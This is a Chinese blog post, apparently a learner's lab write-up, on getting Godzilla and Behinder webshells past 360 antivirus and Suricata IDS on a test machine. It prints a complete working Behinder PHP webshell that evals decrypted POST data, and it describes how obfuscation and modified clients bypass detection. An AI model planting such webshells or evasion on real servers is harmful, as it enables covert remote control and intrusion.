当前位置: 首页 > news >正文

免杀学习篇(1)—— 工具使用

一、前言

先借用免杀工具来了解webshell上传和操作执行会遭到查杀的几个阶段,使用windows7 x64(360安全卫士13)来作为测试机。主要内容参考小迪安全课程:第144天:免杀对抗-Webshell篇&静态查杀&行为拦截&流量监控&代码混淆&内存加载&工具魔改_哔哩哔哩_bilibili

二、工具

用到的主要是one-fox集成工具箱,其中内置的webshell工具:冰蝎、哥斯拉、蚁剑

免杀工具是:XG拟态WEB免杀工具

三、 学习部分

首先开启windows7的web服务

1.Godzilla马(表面代码)

从工具箱中生成一个木马上传到windows的WWW目录下

立刻会被360检测到,立马被查杀的,这里应该称为表面代码层的查杀

2.Godzilla马初步免杀(操作行为)

对上述木马放入XG拟态中进行免杀

发现此时不会被查杀掉,用哥斯拉连接一下,但当尝试危险操作

 

发现进行危险操作会被监测到,就是操作行为被检测到了

3.冰蝎连接(工具指纹)

 上传一个冰蝎马

<?php
@error_reporting(0);
session_start();$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond$_SESSION['k']=$key;session_write_close();$post=file_get_contents("php://input");if(!extension_loaded('openssl')){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++) {$post[$i] = $post[$i]^$key[$i+1&15]; }}else{$post=openssl_decrypt($post, "AES128", $key);}$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];class C{public function __invoke($p) {eval($p."");}}@call_user_func(new C(),$params);
?>

用冰蝎进行连接

此时需要使用suricata工具来监测,这里我是用kali搭建的suricata监听,然后导入了github上的规则库:al0ne/suricata-rules: Suricata IDS rules 用来检测红队渗透/恶意行为等,支持检测CobaltStrike/MSF/Empire/DNS隧道/Weevely/菜刀/冰蝎/挖矿/反弹shell/ICMP隧道等

 

将冰蝎的特征导入suricata的规则库中:/etc/suricata/rules

suricata开始监听冰蝎的流量:

suricata -c /etc/suricata/suricata.yaml -i eth0 -s /etc/suricata/rules/Behinder3.rules

在冰蝎webshell中进行一些操作

 

查看suricata的fast.log日志

发现成功监听到了冰蝎的流量

 4.冰蝎魔改(绕过对流量的监测)

用冰蝎魔改版来上传shell和执行,先上传冰蝎魔改版shell,然后执行操作

 此时再次看suricata的日志记录

发现此时不会发现冰蝎魔改版的流量 

四、总结

第一部分内容主要是先熟悉一下一个大概的免杀流程以及webshell可能会被监测到的三个层面:表面代码层(混淆)、操作行为层(魔改)、工具指纹层(魔改),之后会跟着小迪安全学习后续内容。

 

 

 

 

http://www.lryc.cn/news/589088.html

相关文章:

  • Dify的默认端口怎么修改
  • 算法学习day16----Python数据结构--模拟队列
  • Nuxt3宝塔PM2管理器部署
  • linux系统------LVS+KeepAlived+Nginx高可用方案
  • LVS(Linux Virtual Server)详细笔记(理论篇)
  • 李宏毅《生成式人工智能导论》 | 第9讲 AI Agent
  • Jfinal+SQLite java工具类复制mysql表数据到 *.sqlite
  • 设计模式笔记_结构型_适配器模式
  • Redis 中的持久化机制:RDB 与 AOF
  • 基于STM32设计的智能厨房
  • redis快速入门教程
  • JavaScript进阶篇——第四章 解构赋值(完全版)
  • Bash shell用法
  • 轻松管理多个Go版本:g工具安装与使用
  • 【自学linux】计算机体系结构和操作系统第二章
  • OpenCV 伽马校正函数gammaCorrection()
  • PG备份一(逻辑备份)
  • 算法与前端的可访问性
  • Linux系统调优和工具
  • OpenCV-Python Tutorial : A Candy from Official Main Page(三)
  • 【Linux系统】命令行参数和环境变量
  • 涨停板池,跌停板池,炸板池,次新股池,强势股池数据接口
  • SSM框架学习DI入门——day2
  • Flutter瀑布流布局深度实践:打造高性能动态图片墙
  • 基于Ruoyi和PostgreSQL的统一POI分类后台管理实战
  • IPSec和HTTPS对比(一)
  • 前端学习笔记:React.js中state和props的区别和联系
  • 数字影像新风口 入驻国际数字影像产业园解锁151项全周期服务
  • 20.如何在 Python 字典中找到最小值或最大值的键?
  • 关于list